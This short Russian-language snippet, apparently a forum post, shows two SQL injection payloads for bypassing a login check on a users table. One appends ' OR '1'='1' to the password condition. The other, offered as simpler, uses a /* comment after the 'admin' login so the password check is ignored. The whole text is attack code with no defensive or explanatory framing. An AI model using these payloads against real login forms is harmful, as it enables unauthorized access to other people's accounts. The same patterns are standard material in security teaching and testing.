Код:

SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR '1'='1';
прще так - SELECT * FROM `users` WHERE `login`='admin'/*' AND `password`='anypass';